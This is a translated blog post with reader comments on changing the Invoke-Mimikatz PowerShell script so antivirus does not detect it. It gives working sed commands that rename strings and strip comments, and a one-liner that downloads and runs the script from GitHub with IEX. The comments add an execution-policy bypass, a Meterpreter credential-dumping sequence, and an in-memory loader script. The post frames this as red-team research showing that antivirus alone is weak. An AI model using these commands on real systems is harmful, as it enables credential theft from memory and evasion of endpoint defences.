绕过杀毒软件运行Mimikatz的技术指南

本文详细介绍了如何通过修改Mimikatz PowerShell脚本中的特定字符串和注释来规避杀毒软件检测,包括具体sed命令和测试结果,展示了在不改变功能的情况下降低AV检测率的有效方法。

如何绕过杀毒软件运行Mimikatz

Carrie Roberts // *

您是否希望运行Mimikatz而不被杀毒软件(AV)检测到?最近,我尝试在机器上运行PowerSploit中的PowerShell脚本“Invoke-Mimikatz”,但在将文件保存到磁盘时,被Windows Defender标记为恶意文件。即使我使用以下命令不将文件写入磁盘运行,它仍然被捕获。

1
powershell "IEX (New-Object Net.WebClient).DownloadString ('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz"

Windows Defender检测未修改的Mimikatz脚本

将Invoke-Mimikatz.ps1文件上传到VirusTotal显示,54个AV供应商中有19个当前检测此文件为恶意文件。

虽然上传到VirusTotal不是确定恶意文件是否会被检测的结论性方法,但它可以提示哪些AV可能触发。

如您所知,AV检测方案可能很弱,只是简单查找文件中的特定单词。通常,这些单词可以在不改变功能的情况下更改。例如,使用以下Linux命令将“Invoke-Mimikatz”更改为“Invoke-Mimidogz”,将检测率降低到54个中的8个。

1
sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1

从脚本中删除不必要的注释如何?

1
2
sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1
sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1

在将“Katz”重命名为“Dogz”并删除注释后,我们降至四(4)个AV供应商检测恶意文件。进一步的实验显示,AV不喜欢单词“DumpCreds”,让我们将其更改为“DumpCred”。

1
sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1

我们可能可以在这里停止,并从这个脚本中获得很多好处,但正如我女儿在阅读洗手液免责声明后会说,“为什么他们不多放一点,杀死它们全部!?”

所以让我们这样做。只需添加三个更多的匹配和替换规则,然后“赢家,赢家,鸡肉晚餐!”完整的匹配和替换命令列表如下。

1
2
3
4
5
6
7
sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1
sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1
sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1
sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1
sed -i -e 's/ArgumentPtr/NotTodayPal/g' Invoke-Mimikatz.ps1
sed -i -e 's/CallDllMainSC1/ThisIsNotTheStringYouAreLookingFor/g' Invoke-Mimikatz.ps1
sed -i -e "s/\-Win32Functions \$Win32Functions$/\-Win32Functions \$Win32Functions #\-/g" Invoke-Mimikatz.ps1

匹配和替换规则后无AV检测

我们拿这个修改后的Mimikatz文件,在运行最新版本Windows Defender、Symantec和ESET的系统上运行。(感谢Brian Fehrman和David Fletcher)。我们能够运行脚本来转储内存中的明文密码,并且没有被AV检测到。

修改后的Mimikatz脚本仍然功能正常

我们成功修改了Mimikatz脚本,以避免AV检测,而不改变功能。这是为什么不应仅依赖AV进行保护的很好证据。

*此帖子是更大的“Sacred Cash Cow Tipping”系列的一部分,关于绕过AV,特别是我们最近的剧集,可以在这里找到。

您可以从Carrie的课程中学到更多! 在这里查看它们: 攻击模拟工具:Atomic Red Team、CALDERA等 PowerShell for InfoSec 可用现场/虚拟和点播!

评论

Jerry (2017年1月5日 @ 11:21 am) 是否可能对Empire框架内的Mimikatz模块做类似的事情?

Carrie Roberts (2017年1月5日 @ 7:15 pm) 嗨Jerry,是的,可以,或者,因为Empire允许您运行任何PowerShell,您可以使用“scriptimport ./path/”命令导入修改后的Mimikatz脚本,然后使用“scriptcmd”命令调用您的Invoke-Mimikatz版本。参见Empire手册此页底部段落http://www.powershellempire.com/?page_id=110和这里的一些使用示例:https://warroom.securestate.com/leveraging-ms16-032-powershell-empire/

Manu (2017年1月6日 @ 9:12 am) 最后两个杀毒软件是什么?

Carrie Roberts (2017年1月6日 @ 10:16 am) ESET-NOD32和Rising

Jonathan (2017年1月20日 @ 11:49 am) 很棒的帖子,Carrie。快速问题:您的测试机器上的PowerShell执行策略设置是什么?

Carrie Roberts (2017年1月23日 @ 8:21 am) 我的执行策略是“Restricted”,但我使用了“powershell -exec bypass”命令来允许运行Mimikatz脚本。这将当前会话的执行策略设置为“Bypass”,并允许运行脚本。

Phil Ivey (2017年3月14日 @ 10:03 am) 为什么您不直接使用反射DLL注入从内存运行mimikatz?没有必要做任何这些。

Carrie Roberts (2017年3月14日 @ 11:01 am) 嗨Phil,有点令人惊讶的是,那个解决方案本身对Windows Defender不起作用。试试看…

Phil Ivey (2017年3月14日 @ 12:51 pm) 它肯定有效——我经常这样做。Metasploit和Empire都开箱即用。

  1. 获取会话
  2. msf> sessions -i 1
  3. meterpreter> getsystem
  4. meterpreter> load kiwi
  5. meterpreter> creds_all 在Empire中的方法类似,不记得命令了。

Carrie Roberts (2017年3月14日 @ 6:29 pm) 我指的是这个:powershell “IEX (New-Object Net.WebClient).DownloadString (‘https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz",因为我正在寻找一个不需要Meterpreter或Empire会话的解决方案,这通常是一个额外的障碍。

Phil Ivey (2017年3月14日 @ 6:51 pm) 各有所好我想…手动混淆PowerShell代码似乎比只是捕获会话并使用DLL注入更大的障碍。如果您可以从GitHub获取文件,您也可以建立Meterpreter/Empire会话。

Quentin (2017年3月27日 @ 5:21 am) 嗨, 是否可能使用这个修改后的PowerShell脚本并将其转换为exe文件?如果是,您能告诉我您将如何处理吗? 谢谢。

Carrie Roberts (2017年3月27日 @ 8:55 am) 嗨Quentin, 试试这个将PowerShell转换为可执行文件: https://gallery.technet.microsoft.com/PS2EXE-Convert-PowerShell-9e4e07f1

Miguel (2017年4月11日 @ 8:16 pm) 嗨Carrie,这个过程现在过时了吗?在我执行匹配和替换命令后,我的检测率是14/56。谢谢

Carrie Roberts (2017年4月12日 @ 10:06 am) 嗨Miguel,是的。AV供应商在此帖子发布后进行了额外更改,因此它不像指定那样工作。尽管,我再次实验发现,许多AV供应商仍然查找文件中的静态单词,只是与我发布的不同。可能需要一些试验和错误来找出需要更改的内容。

Tony G (2017年7月25日 @ 2:11 pm) 为什么使用IEX?下面的脚本直接进入内存而不调用Internet Explorer(这可能是Defender捕获它的方式)。这可以无事件地通过McAfee:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
$uri = 'https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1'
# Get the script code:
$functionCode = Invoke-RestMethod -Method Get -Uri $uri 
# El perro, el perro, es mi corazón, El gato, el gato, el gato no es bueno.
$mimidogzCode = $functionCode -replace "Invoke-Mimikatz", "Invoke-Mimidogz"
# Instantiate a ScriptBlock passing the
# source code to the constructor:
$mimidogz = [ScriptBlock]::Create($mimidogzCode)
# Load it into memory:
. $mimidogz
# Done!
Invoke-Mimidogz

Jeff (2017年7月31日 @ 11:01 am) 我无法让上面使用的PowerShell工作 :( 如果我简单复制粘贴,我得到 string : The term ‘string’ is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. At line:1 char:23

  • string DownloadString(string address), string DownloadString(uri addr …
  •                   ~~~~~~
    
    • CategoryInfo : ObjectNotFound: (string:String) [], CommandNotFoundException
    • FullyQualifiedErrorId : CommandNotFoundException 手动输入它仍然无法执行,并且它在一个没有任何AV的盒子上。我错过了什么 :)

Wombat Hunter (2017年7月31日 @ 1:11 pm) 您复制粘贴了哪个具体部分?听起来您要么复制粘贴错误,要么您的PowerShell环境有问题。

Jeff (2017年8月1日 @ 12:27 pm) 是一个有问题的PowerShell。花了大约2小时与之斗争,直到我决定构建一个新盒子,然后它工作了。真是哇…

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计